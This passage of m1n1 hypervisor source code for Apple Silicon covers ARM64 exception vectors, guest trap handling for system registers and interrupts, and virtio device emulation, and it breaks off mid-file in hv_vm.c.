(%u, %u) for die %u\n", num, num + count, die); return false; } for (u32 n = num; n < num + count; n++) { switch (flags) { case IRQTRACE_IRQ: trace_hw_num[die][n / 32] |= BIT(n & 31); break; default: trace_hw_num[die][n / 32] &= ~(BIT(n & 31)); break; } } } else { printf("HV: not handling AIC event type: 0x%02x num: %u\n", type, num); return false; } if (!aic) { printf("HV: AIC not initialized\n"); return false; } static bool hooked = false; if (aic && !hooked) { hv_map_hook(aic->base, trace_aic_event, aic->regs.reg_size); hooked = true; } return true; } m1n1-1.4.11/src/hv_asm.S000066400000000000000000000070031453754430200145510ustar00rootroot00000000000000/* spDx-License-Identifier: MIT */ #include "exception.h" .align 11 .globl _hv_vectors_start _hv_vectors_start: /* EL2 with SP_EL0 */ mov x9, '0' b cpu_reset .align 7 mov x9, '1' b exc_unk .align 7 mov x9, '2' b exc_unk .align 7 mov x9, '3' b exc_unk .align 7 /* EL2 with SP_EL2 */ b _v_sp0_sync .align 7 b _v_sp0_irq .align 7 b _v_sp0_fiq .align 7 b _v_sp0_serr .align 7 /* EL1/0 64-bit */ b _v_hv_sync .align 7 b _v_hv_irq .align 7 b _v_hv_fiq .align 7 b _v_hv_serr .align 7 /* EL1/0 32-bit */ mov x9, 'p' b exc_unk .align 7 mov x9, 'q' b exc_unk .align 7 mov x9, 'r' b exc_unk .align 7 mov x9, 's' b exc_unk .align 7 .globl _hv_entry .type _hv_entry, @function _hv_entry: stp x28, x29, [sp, #-16]! stp x26, x27, [sp, #-16]! stp x24, x25, [sp, #-16]! stp x22, x23, [sp, #-16]! stp x20, x21, [sp, #-16]! stp x18, x19, [sp, #-16]! stp x16, x17, [sp, #-16]! stp x14, x15, [sp, #-16]! stp x12, x13, [sp, #-16]! stp x10, x11, [sp, #-16]! stp x8, x9, [sp, #-16]! stp x6, x7, [sp, #-16]! stp x4, x5, [sp, #-16]! stp x2, x3, [sp, #-16]! stp x0, x1, [sp, #-16]! dsb sy isb mov x0, sp ret .globl _hv_return .type _hv_return, @function _hv_return: ldp x0, x1, [sp], #16 ldp x2, x3, [sp], #16 ldp x4, x5, [sp], #16 ldp x6, x7, [sp], #16 ldp x8, x9, [sp], #16 ldp x10, x11, [sp], #16 ldp x12, x13, [sp], #16 ldp x14, x15, [sp], #16 ldp x16, x17, [sp], #16 ldp x18, x19, [sp], #16 ldp x20, x21, [sp], #16 ldp x22, x23, [sp], #16 ldp x24, x25, [sp], #16 ldp x26, x27, [sp], #16 ldp x28, x29, [sp], #16 ldr x30, [sp], #16 add sp, sp, #(SIZEOF_EXC_INFO - 32 * 8) eret .globl _v_hv_sync .type _v_hv_sync, @function _v_hv_sync: msr pan, #0 sub sp, sp, #(SIZEOF_EXC_INFO - 32 * 8) str x30, [sp, #-16]! bl _hv_entry bl hv_exc_sync b _hv_return .globl _v_hv_irq .type _v_hv_irq, @function _v_hv_irq: msr pan, #0 sub sp, sp, #(SIZEOF_EXC_INFO - 32 * 8) str x30, [sp, #-16]! bl _hv_entry bl hv_exc_irq b _hv_return .globl _v_hv_fiq .type _v_hv_fiq, @function _v_hv_fiq: msr pan, #0 sub sp, sp, #(SIZEOF_EXC_INFO - 32 * 8) str x30, [sp, #-16]! bl _hv_entry bl hv_exc_fiq b _hv_return .globl _v_hv_serr .type _v_hv_serr, @function _v_hv_serr: msr pan, #0 sub sp, sp, #(SIZEOF_EXC_INFO - 32 * 8) str x30, [sp, #-16]! bl _hv_entry bl hv_exc_serr b _hv_return .extern hv_saved_sp .globl hv_enter_guest .type hv_enter_guest, @function hv_enter_guest: stp x29, x30, [sp, #-16]! stp x27, x28, [sp, #-16]! stp x25, x26, [sp, #-16]! stp x23, x24, [sp, #-16]! stp x21, x22, [sp, #-16]! stp x19, x20, [sp, #-16]! str x18, [sp, #-16]! mrs x7, tpidr_el2 ldr x6, =hv_saved_sp mov x5, sp str x5, [x6, x7, LSL #3] mrs x5, daif mov x6, #5 orr x5, x5, x6 // EL1h msr spsr_el2, x5 msr elr_el2, x4 mov x5, #0 msr sp_el0, x5 msr sp_el1, x5 eret .globl hv_exit_guest .type hv_exit_guest, @function hv_exit_guest: mrs x7, tpidr_el2 ldr x6, =hv_saved_sp ldr x5, [x6, x7, LSL #3] mov sp, x5 ldr x18, [sp], #16 ldp x19, x20, [sp], #16 ldp x21, x22, [sp], #16 ldp x23, x24, [sp], #16 ldp x25, x26, [sp], #16 ldp x27, x28, [sp], #16 ldp x29, x30, [sp], #16 ret m1n1-1.4.11/src/hv_exc.c000066400000000000000000000454511453754430200146010ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "hv.h" #include "assert.h" #include "cpu_regs.h" #include "exception.h" #include "smp.h" #include "string.h" #include "uart.h" #include "uartproxy.h" #define TIME_ACCOUNTING extern spinlock_t bhl; #define _SYSREG_ISS(_1, _2, op0, op1, CRn, CRm, op2) \ (((op0) << ESR_ISS_MSR_OP0_SHIFT) | ((op1) << ESR_ISS_MSR_OP1_SHIFT) | \ ((CRn) << ESR_ISS_MSR_CRn_SHIFT) | ((CRm) << ESR_ISS_MSR_CRm_SHIFT) | \ ((op2) << ESR_ISS_MSR_OP2_SHIFT)) #define SYSREG_ISS(...) _SYSREG_ISS(__VA_ARGS__) #define PERCPU(x) pcpu[mrs(TPIDR_EL2)].x struct hv_pcpu_data { u32 ipi_queued; u32 ipi_pending; u32 pmc_pending; u64 pmc_irq_mode; u64 exc_entry_pmcr0_cnt; } ALIGNED(64); struct hv_pcpu_data pcpu[MAX_CPUS]; void hv_exit_guest(void) __attribute__((noreturn)); static u64 stolen_time = 0; static u64 exc_entry_time; extern u64 hv_cpus_in_guest; extern int hv_pinned_cpu; extern int hv_want_cpu; static bool time_stealing = true; static void _hv_exc_proxy(struct exc_info *ctx, uartproxy_boot_reason_t reason, u32 type, void *extra) { int from_el = FIELD_GET(SPSR_M, ctx->spsr) >> 2; hv_wdt_breadcrumb('P'); /* * Get all the CPUs into the HV before running the proxy, to make sure they all exit to * the guest with a consistent time offset. */ if (time_stealing) hv_rendezvous(); u64 entry_time = mrs(CNTPCT_EL0); ctx->elr_phys = hv_translate(ctx->elr, false, false, NULL); ctx->far_phys = hv_translate(ctx->far, false, false, NULL); ctx->sp_phys = hv_translate(from_el == 0 ? ctx->sp[0] : ctx->sp[1], false, false, NULL); ctx->extra = extra; struct uartproxy_msg_start start = { .reason = reason, .code = type, .info = ctx, }; hv_wdt_suspend(); int ret = uartproxy_run(&start); hv_wdt_resume(); switch (ret) { case EXC_RET_HANDLED: hv_wdt_breadcrumb('p'); if (time_stealing) { u64 lost = mrs(CNTPCT_EL0) - entry_time; stolen_time += lost; } break; case EXC_EXIT_GUEST: hv_rendezvous(); spin_unlock(&bhl); hv_exit_guest(); // does not return default: printf("Guest exception not handled, rebooting.\n"); print_regs(ctx->regs, 0); flush_and_reboot(); // does not return } } static void hv_maybe_switch_cpu(struct exc_info *ctx, uartproxy_boot_reason_t reason, u32 type, void *extra) { while (hv_want_cpu != -1) { if (hv_want_cpu == smp_id()) { hv_want_cpu = -1; _hv_exc_proxy(ctx, reason, type, extra); } else { // Unlock the HV so the target CPU can get into the proxy spin_unlock(&bhl); while (hv_want_cpu != -1) sysop("dmb sy"); spin_lock(&bhl); } } } void hv_exc_proxy(struct exc_info *ctx, uartproxy_boot_reason_t reason, u32 type, void *extra) { /* * Wait while another CPU is pinned or being switched to. * If a CPU switch is requested, handle it before actually handling the * exception. We still tell the host the real reason code, though. */ while ((hv_pinned_cpu != -1 && hv_pinned_cpu != smp_id()) || hv_want_cpu != -1) { if (hv_want_cpu == smp_id()) { hv_want_cpu = -1; _hv_exc_proxy(ctx, reason, type, extra); } else { // Unlock the HV so the target CPU can get into the proxy spin_unlock(&bhl); while ((hv_pinned_cpu != -1 && hv_pinned_cpu != smp_id()) || hv_want_cpu != -1) sysop("dmb sy"); spin_lock(&bhl); } } /* Handle the actual exception */ _hv_exc_proxy(ctx, reason, type, extra); /* * If as part of handling this exception we want to switch CPUs, handle it without returning * to the guest. */ hv_maybe_switch_cpu(ctx, reason, type, extra); } void hv_set_time_stealing(bool enabled, bool reset) { time_stealing = enabled; if (reset) stolen_time = 0; } void hv_add_time(s64 time) { stolen_time -= (u64)time; } static void hv_update_fiq(void) { u64 hcr = mrs(HCR_EL2); bool fiq_pending = false; if (mrs(CNTP_CTL_EL02) == (CNTx_CTL_ISTATUS | CNTx_CTL_ENABLE)) { fiq_pending = true; reg_clr(SYS_IMP_APL_VM_TMR_FIQ_ENA_EL2, VM_TMR_FIQ_ENA_ENA_P); } else { reg_set(SYS_IMP_APL_VM_TMR_FIQ_ENA_EL2, VM_TMR_FIQ_ENA_ENA_P); } if (mrs(CNTV_CTL_EL02) == (CNTx_CTL_ISTATUS | CNTx_CTL_ENABLE)) { fiq_pending = true; reg_clr(SYS_IMP_APL_VM_TMR_FIQ_ENA_EL2, VM_TMR_FIQ_ENA_ENA_V); } else { reg_set(SYS_IMP_APL_VM_TMR_FIQ_ENA_EL2, VM_TMR_FIQ_ENA_ENA_V); } fiq_pending |= PERCPU(ipi_pending) || PERCPU(pmc_pending); sysop("isb"); if ((hcr & HCR_VF) && !fiq_pending) { hv_write_hcr(hcr & ~HCR_VF); } else if (!(hcr & HCR_VF) && fiq_pending) { hv_write_hcr(hcr | HCR_VF); } } #define SYSREG_MAP(sr, to) \ case SYSREG_ISS(sr): \ if (is_read) \ regs[rt] = _mrs(sr_tkn(to)); \ else \ _msr(sr_tkn(to), regs[rt]); \ return true; #define SYSREG_PASS(sr) \ case SYSREG_ISS(sr): \ if (is_read) \ regs[rt] = _mrs(sr_tkn(sr)); \ else \ _msr(sr_tkn(sr), regs[rt]); \ return true; static bool hv_handle_msr_unlocked(struct exc_info *ctx, u64 iss) { u64 reg = iss & (ESR_ISS_MSR_OP0 | ESR_ISS_MSR_OP2 | ESR_ISS_MSR_OP1 | ESR_ISS_MSR_CRn | ESR_ISS_MSR_CRm); u64 rt = FIELD_GET(ESR_ISS_MSR_Rt, iss); bool is_read = iss & ESR_ISS_MSR_DIR; u64 *regs = ctx->regs; regs[31] = 0; switch (reg) { /* Some kind of timer */ SYSREG_PASS(sys_reg(3, 7, 15, 1, 1)); SYSREG_PASS(sys_reg(3, 7, 15, 3, 1)); /* Architectural timer, for ECV */ SYSREG_MAP(SYS_CNTV_CTL_EL0, SYS_CNTV_CTL_EL02) SYSREG_MAP(SYS_CNTV_CVAL_EL0, SYS_CNTV_CVAL_EL02) SYSREG_MAP(SYS_CNTV_TVAL_EL0, SYS_CNTV_TVAL_EL02) SYSREG_MAP(SYS_CNTP_CTL_EL0, SYS_CNTP_CTL_EL02) SYSREG_MAP(SYS_CNTP_CVAL_EL0, SYS_CNTP_CVAL_EL02) SYSREG_MAP(SYS_CNTP_TVAL_EL0, SYS_CNTP_TVAL_EL02) /* Spammy stuff seen on t600x p-cores */ SYSREG_PASS(sys_reg(3, 2, 15, 12, 0)); SYSREG_PASS(sys_reg(3, 2, 15, 13, 0)); SYSREG_PASS(sys_reg(3, 2, 15, 14, 0)); SYSREG_PASS(sys_reg(3, 2, 15, 15, 0)); SYSREG_PASS(sys_reg(3, 1, 15, 7, 0)); SYSREG_PASS(sys_reg(3, 1, 15, 8, 0)); SYSREG_PASS(sys_reg(3, 1, 15, 9, 0)); SYSREG_PASS(sys_reg(3, 1, 15, 10, 0)); /* Noisy traps */ SYSREG_MAP(SYS_ACTLR_EL1, SYS_IMP_APL_ACTLR_EL12) SYSREG_PASS(SYS_IMP_APL_HID4) SYSREG_PASS(SYS_IMP_APL_EHID4) /* We don't normally trap hese, but if we do, they're noisy */ SYSREG_PASS(SYS_IMP_APL_GXF_STATUS_EL1) SYSREG_PASS(SYS_IMP_APL_CNTVCT_ALIAS_EL0) SYSREG_PASS(SYS_IMP_APL_TPIDR_GL1) SYSREG_MAP(SYS_IMP_APL_SPSR_GL1, SYS_IMP_APL_SPSR_GL12) SYSREG_MAP(SYS_IMP_APL_ASPSR_GL1, SYS_IMP_APL_ASPSR_GL12) SYSREG_MAP(SYS_IMP_APL_ELR_GL1, SYS_IMP_APL_ELR_GL12) SYSREG_MAP(SYS_IMP_APL_ESR_GL1, SYS_IMP_APL_ESR_GL12) SYSREG_MAP(SYS_IMP_APL_SPRR_PERM_EL1, SYS_IMP_APL_SPRR_PERM_EL12) SYSREG_MAP(SYS_IMP_APL_APCTL_EL1, SYS_IMP_APL_APCTL_EL12) SYSREG_MAP(SYS_IMP_APL_AMX_CTL_EL1, SYS_IMP_APL_AMX_CTL_EL12) /* FIXME:Might be wrong */ SYSREG_PASS(sys_reg(3, 4, 15, 1, 3)) /* pass through PMU handling */ SYSREG_PASS(SYS_IMP_APL_PMCR1) SYSREG_PASS(SYS_IMP_APL_PMCR2) SYSREG_PASS(SYS_IMP_APL_PMCR3) SYSREG_PASS(SYS_IMP_APL_PMCR4) SYSREG_PASS(SYS_IMP_APL_PMESR0) SYSREG_PASS(SYS_IMP_APL_PMESR1) SYSREG_PASS(SYS_IMP_APL_PMSR) #ifndef DEBUG_PMU_IRQ SYSREG_PASS(SYS_IMP_APL_PMC0) #endif SYSREG_PASS(SYS_IMP_APL_PMC1) SYSREG_PASS(SYS_IMP_APL_PMC2) SYSREG_PASS(SYS_IMP_APL_PMC3) SYSREG_PASS(SYS_IMP_APL_PMC4) SYSREG_PASS(SYS_IMP_APL_PMC5) SYSREG_PASS(SYS_IMP_APL_PMC6) SYSREG_PASS(SYS_IMP_APL_PMC7) SYSREG_PASS(SYS_IMP_APL_PMC8) SYSREG_PASS(SYS_IMP_APL_PMC9) /* Outer Sharable TLB maintenance instructions */ SYSREG_PASS(sys_reg(1, 0, 8, 1, 0)) // TLBI VMALLE1OS SYSREG_PASS(sys_reg(1, 0, 8, 1, 1)) // TLBI VAE1OS SYSREG_PASS(sys_reg(1, 0, 8, 1, 2)) // TLBI ASIDE1OS SYSREG_PASS(sys_reg(1, 0, 8, 5, 1)) // TLBI RVAE1OS case SYSREG_ISS(SYS_IMP_APL_IPI_SR_EL1): if (is_read) regs[rt] = PERCPU(ipi_pending) ? IPI_SR_PENDING : 0; else if (regs[rt] & IPI_SR_PENDING) PERCPU(ipi_pending) = false; return true; /* shadow the interrupt mode and state flag */ case SYSREG_ISS(SYS_IMP_APL_PMCR0): if (is_read) { u64 val = (mrs(SYS_IMP_APL_PMCR0) & ~PMCR0_IMODE_MASK) | PERCPU(pmc_irq_mode); regs[rt] = val | (PERCPU(pmc_pending) ? PMCR0_IACT : 0); } else { PERCPU(pmc_pending) = !!(regs[rt] & PMCR0_IACT); PERCPU(pmc_irq_mode) = regs[rt] & PMCR0_IMODE_MASK; msr(SYS_IMP_APL_PMCR0, regs[rt]); } return true; /* * Handle this one here because m1n1/Linux (will) use it for explicit cpuidle. * We can pass it through; going into deep sleep doesn't break the HV since we * don't do any wfis that assume otherwise in m1n1. However, don't het macOS * disable WFI ret (when going into systemwide sleep), since that breaks things. */ case SYSREG_ISS(SYS_IMP_APL_CYC_OVRD): if (is_read) { regs[rt] = mrs(SYS_IMP_APL_CYC_OVRD); } else { if (regs[rt] & (CYC_OVRD_DISABLE_WFI_RET | CYC_OVRD_FIQ_MODE_MASK)) return false; msr(SYS_IMP_APL_CYC_OVRD, regs[rt]); } return true; /* clang-format off */ /* IPI handling */ SYSREG_PASS(SYS_IMP_APL_IPI_CR_EL1) /* M1RACLES reg, handle here due to silly 12.0 "mitigation" */ case SYSREG_ISS(sys_reg(3, 5, 15, 10, 1)): if (is_read) regs[rt] = 0; return true; } return false; } static bool hv_handle_msr(struct exc_info *ctx, u64 iss) { u64 reg = iss & (ESR_ISS_MSR_OP0 | ESR_ISS_MSR_OP2 | ESR_ISS_MSR_OP1 | ESR_ISS_MSR_CRn | ESR_ISS_MSR_CRm); u64 rt = FIELD_GET(ESR_ISS_MSR_Rt, iss); bool is_read = iss & ESR_ISS_MSR_DIR; u64 *regs = ctx->regs; regs[31] = 0; switch (reg) { /* clang-format on */ case SYSREG_ISS(SYS_IMP_APL_IPI_RR_LOCAL_EL1): { assert(!is_read); u64 mpidr = (regs[rt] & 0xff) | (mrs(MPIDR_EL1) & 0xffff00); for (int i = 0; i < MAX_CPUS; i++) if (mpidr == smp_get_mpidr(i)) { pcpu[i].ipi_queued = true; msr(SYS_IMP_APL_IPI_RR_LOCAL_EL1, regs[rt]); return true; } return false; } case SYSREG_ISS(SYS_IMP_APL_IPI_RR_GLOBAL_EL1): assert(!is_read); u64 mpidr = (regs[rt] & 0xff) | ((regs[rt] & 0xff0000) >> 8); for (int i = 0; i < MAX_CPUS; i++) { if (mpidr == (smp_get_mpidr(i) & 0xffff)) { pcpu[i].ipi_queued = true; msr(SYS_IMP_APL_IPI_RR_GLOBAL_EL1, regs[rt]); return true; } } return false; #ifdef DEBUG_PMU_IRQ case SYSREG_ISS(SYS_IMP_APL_PMC0): if (is_read) { regs[rt] = mrs(SYS_IMP_APL_PMC0); } else { msr(SYS_IMP_APL_PMC0, regs[rt]); printf("msr(SYS_IMP_APL_PMC0, 0x%04lx_%08lx)\n", regs[rt] >> 32, regs[rt] & 0xFFFFFFFF); } return true; #endif } return false; } static void hv_get_context(struct exc_info *ctx) { ctx->spsr = hv_get_spsr(); ctx->elr = hv_get_elr(); ctx->esr = hv_get_esr(); ctx->far = hv_get_far(); ctx->afsr1 = hv_get_afsr1(); ctx->sp[0] = mrs(SP_EL0); ctx->sp[1] = mrs(SP_EL1); ctx->sp[2] = (u64)ctx; ctx->cpu_id = smp_id(); ctx->mpidr = mrs(MPIDR_EL1); sysop("isb"); } static void hv_exc_entry(void) { // Enable SErrors in the HV, but only if not already pending if (!(mrs(ISR_EL1) & 0x100)) sysop("msr daifclr, 4"); __atomic_and_fetch(&hv_cpus_in_guest, ~BIT(smp_id()), __ATOMIC_ACQUIRE); spin_lock(&bhl); hv_wdt_breadcrumb('X'); exc_entry_time = mrs(CNTPCT_EL0); /* disable PMU counters in the hypervisor */ u64 pmcr0 = mrs(SYS_IMP_APL_PMCR0); PERCPU(exc_entry_pmcr0_cnt) = pmcr0 & PMCR0_CNT_MASK; msr(SYS_IMP_APL_PMCR0, pmcr0 & ~PMCR0_CNT_MASK); } static void hv_exc_exit(struct exc_info *ctx) { hv_wdt_breadcrumb('x'); hv_update_fiq(); /* reenable PMU counters */ reg_set(SYS_IMP_APL_PMCR0, PERCPU(exc_entry_pmcr0_cnt)); msr(CNTVOFF_EL2, stolen_time); spin_unlock(&bhl); hv_maybe_exit(); __atomic_or_fetch(&hv_cpus_in_guest, BIT(smp_id()), __ATOMIC_ACQUIRE); hv_set_spsr(ctx->spsr); hv_set_elr(ctx->elr); msr(SP_EL0, ctx->sp[0]); msr(SP_EL1, ctx->sp[1]); } void hv_exc_sync(struct exc_info *ctx) { hv_wdt_breadcrumb('S'); hv_get_context(ctx); bool handled = false; u32 ec = FIELD_GET(ESR_EC, ctx->esr); switch (ec) { case ESR_EC_MSR: hv_wdt_breadcrumb('m'); handled = hv_handle_msr_unlocked(ctx, FIELD_GET(ESR_ISS, ctx->esr)); break; case ESR_EC_IMPDEF: hv_wdt_breadcrumb('a'); switch (FIELD_GET(ESR_ISS, ctx->esr)) { case ESR_ISS_IMPDEF_MSR: handled = hv_handle_msr_unlocked(ctx, ctx->afsr1); break; } break; } if (handled) { hv_wdt_breadcrumb('#'); ctx->elr += 4; hv_set_elr(ctx->elr); hv_update_fiq(); hv_wdt_breadcrumb('s'); return; } hv_exc_entry(); switch (ec) { case ESR_EC_DABORT_LOWER: hv_wdt_breadcrumb('D'); handled = hv_handle_dabort(ctx); break; case ESR_EC_MSR: hv_wdt_breadcrumb('M'); handled = hv_handle_msr(ctx, FIELD_GET(ESR_ISS, ctx->esr)); break; case ESR_EC_IMPDEF: hv_wdt_breadcrumb('A'); switch (FIELD_GET(ESR_ISS, ctx->esr)) { case ESR_ISS_IMPDEF_MSR: handled = hv_handle_msr(ctx, ctx->afsr1); break; } break; } if (handled) { hv_wdt_breadcrumb('+'); ctx->elr += 4; } else { hv_wdt_breadcrumb('-'); // VM code can forward a nested SError exception here if (FIELD_GET(ESR_EC, ctx->esr) == ESR_EC_SERROR) hv_exc_proxy(ctx, START_EXCEPTION_LOWER, EXC_SERROR, NULL); else hv_exc_proxy(ctx, START_EXCEPTION_LOWER, EXC_SYNC, NULL); } hv_exc_exit(ctx); hv_wdt_breadcrumb('s'); } void hv_exc_irq(struct exc_info *ctx) { hv_wdt_breadcrumb('I'); hv_get_context(ctx); hv_exc_entry(); hv_exc_proxy(ctx, START_EXCEPTION_LOWER, EXC_IRQ, NULL); hv_exc_exit(ctx); hv_wdt_breadcrumb('i'); } void hv_exc_fiq(struct exc_info *ctx) { bool tick = false; hv_maybe_exit(); if (mrs(CNTP_CTL_EL0) == (CNTx_CTL_ISTATUS | CNTx_CTL_ENABLE)) { msr(CNTP_CTL_EL0, CNTx_CTL_ISTATUS | CNTx_CTL_IMASK | CNTx_CTL_ENABLE); tick = true; } int interruptible_cpu = hv_pinned_cpu; if (interruptible_cpu == -1) interruptible_cpu = 0; if (smp_id() != interruptible_cpu && !(mrs(ISR_EL1) & 0x40) && hv_want_cpu == -1) { // Non-interruptible CPU and it was just a timer tick (or spurious), so just update FIQs hv_update_fiq(); hv_arm_tick(true); return; } // Slow (single threaded) path hv_wdt_breadcrumb('F'); hv_get_context(ctx); hv_exc_entry(); // Only poll for HV events in the interruptible CPU if (tick) { if (smp_id() == interruptible_cpu) { hv_tick(ctx); hv_arm_tick(false); } else { hv_arm_tick(true); } } if (mrs(CNTV_CTL_EL0) == (CNTx_CTL_ISTATUS | CNTx_CTL_ENABLE)) { msr(CNTV_CTL_EL0, CNTx_CTL_ISTATUS | CNTx_CTL_IMASK | CNTx_CTL_ENABLE); hv_exc_proxy(ctx, START_HV, HV_VTIMER, NULL); } u64 reg = mrs(SYS_IMP_APL_PMCR0); if ((reg & (PMCR0_IMODE_MASK | PMCR0_IACT)) == (PMCR0_IMODE_FIQ | PMCR0_IACT)) { #ifdef DEBUG_PMU_IRQ printf("[FIQ] PMC IRQ, masking and delivering to the guest\n"); #endif reg_clr(SYS_IMP_APL_PMCR0, PMCR0_IACT | PMCR0_IMODE_MASK); PERCPU(pmc_pending) = true; } reg = mrs(SYS_IMP_APL_UPMCR0); if ((reg & UPMCR0_IMODE_MASK) == UPMCR0_IMODE_FIQ && (mrs(SYS_IMP_APL_UPMSR) & UPMSR_IACT)) { printf("[FIQ] UPMC IRQ, masking"); reg_clr(SYS_IMP_APL_UPMCR0, UPMCR0_IMODE_MASK); hv_exc_proxy(ctx, START_EXCEPTION_LOWER, EXC_FIQ, NULL); } if (mrs(SYS_IMP_APL_IPI_SR_EL1) & IPI_SR_PENDING) { if (PERCPU(ipi_queued)) { PERCPU(ipi_pending) = true; PERCPU(ipi_queued) = false; } msr(SYS_IMP_APL_IPI_SR_EL1, IPI_SR_PENDING); sysop("isb"); } hv_maybe_switch_cpu(ctx, START_HV, HV_CPU_SWITCH, NULL); // Handles guest timers hv_exc_exit(ctx); hv_wdt_breadcrumb('f'); } void hv_exc_serr(struct exc_info *ctx) { hv_wdt_breadcrumb('E'); hv_get_context(ctx); hv_exc_entry(); hv_exc_proxy(ctx, START_EXCEPTION_LOWER, EXC_SERROR, NULL); hv_exc_exit(ctx); hv_wdt_breadcrumb('e'); } m1n1-1.4.11/src/hv_virtio.c000066400000000000000000000160231453754430200153270ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "hv.h" #include "aic.h" #include "iodev.h" #include "malloc.h" #define MAGIC 0x000 #define VERSION 0x004 #define DEVID 0x008 #define VENDID 0x00c #define FEAT_HOST 0x010 #define FEAT_HOST_SEL 0x014 #define FEAT_GUEST 0x020 #define FEAT_GUEST_SEL 0x024 #define QSEL 0x030 #define QMAX 0x034 #define QSIZE 0x038 #define QREADY 0x044 #define QNOTIFY 0x050 #define QDESC 0x080 #define QGUESTAREA 0x090 #define QHOSTAREA 0x0a0 #define IRQ_STATUS 0x060 #define USED_BUFFER BIT(0) #define CFG_CHANGE BIT(1) #define IRQ_ACK 0x064 #define DEV_STATUS 0x070 #define DESC_NEXT BIT(0) #define DESC_WRITE BIT(1) struct availring { u16 flags; u16 idx; u16 ring[]; }; struct usedring { u16 flags; u16 idx; struct { u32 id; u32 len; } ring[]; }; struct desc { u64 addr; u32 len; u16 flags; u16 id; }; struct virtio_q { struct virtio_dev *host; int idx; u32 max; u32 size; bool ready; struct desc *desc; u16 avail_seen; struct availring *avail; struct usedring *used; u64 area_regs[(QHOSTAREA + 8 - QDESC) / 4]; }; struct virtio_conf { s32 irq; u32 devid; u64 feats; u32 num_qus; void *config; u64 config_len; u8 verbose; } PACKED; struct virtio_dev { struct virtio_dev *next; u64 base; int irq; int num_qus; u32 devid; u64 feats; uint8_t *config; size_t config_len; bool verbose; u32 feat_host_sel; u32 status; u32 irqstatus; struct virtio_q *currq; struct virtio_q qs[]; }; static struct virtio_dev *devlist; static void notify_avail(struct exc_info *ctx, struct virtio_q *q, int idx) { struct desc *d = &q->desc[idx]; struct { u64 devbase; u16 qu; u16 idx; u32 pad; u64 descbase; } PACKED info = { q->host->base, q->idx, idx, 0, (u64)q->desc, }; if (q->host->verbose) printf("virtio @ %lx: available %s buffer at %lx, size %x, flags %x\n", q->host->base, (d->flags & DESC_WRITE) ? "device" : "driver", d->addr, d->len, d->flags); hv_exc_proxy(ctx, START_HV, HV_VIRTIO, &info); } static void notify_buffers(struct exc_info *ctx, struct virtio_dev *dev, u32 qidx) { struct virtio_q *q = &dev->qs[qidx]; struct availring *avail = q->avail; if (qidx >= (u32)dev->num_qus) return; for (; avail->idx != q->avail_seen; q->avail_seen++) notify_avail(ctx, q, avail->ring[q->avail_seen % q->size]); } static struct virtio_dev *dev_by_base(u64 base) { struct virtio_dev *dev; for (dev = devlist; dev; dev = dev->next) if (dev->base == base) break; return dev; } void virtio_put_buffer(u64 base, int qu, u32 id, u32 len) { struct virtio_dev *dev = dev_by_base(base); struct virtio_q *q; struct usedring *used; if (!dev) { printf("virtio_put_buffer: no device at %lx\n", base); return; } q = &dev->qs[qu]; used = q->used; used->ring[used->idx % q->size].id = id; used->ring[used->idx % q->size].len = len; used->idx++; dev->irqstatus |= USED_BUFFER; aic_set_sw(dev->irq, true); } static bool handle_virtio(struct exc_info *ctx, u64 addr, u64 *val, bool write, int width) { struct virtio_dev *dev; struct virtio_q *q; UNUSED(ctx); UNUSED(width); dev = dev_by_base(addr & ~0xfff); if (!dev) return false; addr &= 0xfff; if (write) { if (dev->verbose) printf("virtio @ %lx: W 0x%lx <- 0x%lx (%d)\n", dev->base, addr, *val, width); switch (addr) { case DEV_STATUS: dev->status = *val; break; case QSEL: if (((int)*val) <= dev->num_qus) dev->currq = &dev->qs[*val]; else dev->currq = NULL; break; case QNOTIFY: notify_buffers(ctx, dev, *val); break; case FEAT_HOST_SEL: dev->feat_host_sel = *val; break; case IRQ_ACK: dev->irqstatus &= ~(*val); if (!dev->irqstatus) aic_set_sw(dev->irq, false); break; } q = dev->currq; if (!q) return true; switch (addr) { case QSIZE: q->size = *val; break; case QREADY: q->ready = *val & 1; break; case QDESC ... QHOSTAREA + 4: addr -= QDESC; addr /= 4; q->area_regs[addr] = *val; q->desc = (void *)(q->area_regs[1] << 32 | q->area_regs[0]); q->avail = (void *)(q->area_regs[5] << 32 | q->area_regs[4]); q->used = (void *)(q->area_regs[9] << 32 | q->area_regs[8]); break; } } else { switch (addr) { case MAGIC: *val = 0x74726976; break; case VERSION: *val = 2; break; case DEVID: *val = dev->devid; break; case DEV_STATUS: *val = dev->status; break; case FEAT_HOST: *val = dev->feats >> (dev->feat_host_sel * 32); break; case IRQ_STATUS: *val = dev->irqstatus; break; case 0x100 ... 0x1000: if (addr - 0x100 < dev->config_len) *val = dev->config[addr - 0x100]; else *val = 0; break; default: q = dev->currq; if (!q) { *val = 0; goto rdone; } } switch (addr) { case QMAX: *val = q->max; break; case QREADY: *val = q->ready; break; } rdone: if (dev->verbose) printf("virtio @ %lx: R 0x%lx -> 0x%lx (%d)\n", dev->base, addr, *val, width); }; return true; } void hv_map_virtio(u64 base, struct virtio_conf *conf) { struct virtio_dev *dev; int i; dev = calloc(1, sizeof(*dev) + sizeof(struct virtio_q) * conf->num_qus); dev->num_qus = conf->num_qus; dev->base = base; dev->irq = conf->irq; dev->devid = conf->devid; dev->currq = NULL; dev->feats = conf->feats | BIT(32); /* always set: VIRTIO_F_VERSION_1 */ dev->config = conf->config; dev->config_len = conf->config_len; dev->verbose = conf->verbose; for (i = 0; i < dev->num_qus; i++) { dev->qs[i].host = dev; dev->qs[i].idx = i; dev->qs[i].max = 256; dev->qs[i].avail_seen = 0; dev->qs[i].ready = 0; } if (devlist) dev->next = devlist; devlist = dev; hv_map_hook(base, handle_virtio, 0x1000); } m1n1-1.4.11/src/hv_vm.c000066400000000000000000001161471453754430200144450ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ // #define DEBUG #include "hv.h" #include "assert.h" #include "cpu_regs.h" #include "exception.h" #include "iodev.h" #include "malloc.h" #include "smp.h" #include "string.h" #include "types.h" #include "uartproxy.h" #include "utils.h" extern uint64_t ram_base; #define PAGE_SIZE 0x4000 #define CACHE_LINE_SIZE 64 #define CACHE_LINE_LOG2 6 #define PTE_ACCESS BIT(10) #define PTE_SH_NS (0b11L << 8) #define PTE_S2AP_RW (0b11L << 6) #define PTE_MEMATTR_UNCHANGED (0b1111L << 2) #define PTE_ATTRIBUTES (PTE_ACCESS | PTE_SH_NS | PTE_S2AP_RW | PTE_MEMATTR_UNCHANGED) #define PTE_LOWER_ATTRIBUTES GENMASK(13, 2) #define PTE_VALID BIT(0) #define 